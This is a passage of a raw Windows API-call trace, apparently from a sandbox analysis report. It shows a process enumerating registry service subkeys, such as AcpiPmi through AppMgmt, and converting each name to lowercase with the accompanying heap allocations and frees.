Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.305] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0255.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0255.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.305] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0255.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0255.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a48, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0255.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.305] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0255.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0255.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.306] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0255.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0255.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.306] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0255.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0255.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.306] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0255.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0255.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.307] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0255.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0255.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0255.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.307] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0255.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0255.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.307] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0255.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0255.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.307] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0255.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0255.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.308] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0255.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0255.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.308] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0255.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0255.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.308] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0255.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0255.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.309] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0255.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0255.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.309] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0255.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0255.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.309] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0255.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0255.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.309] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0255.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0255.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.310] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0255.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0255.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.310] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0255.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0255.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.310] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0255.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0255.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.310] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0255.311] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.311] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 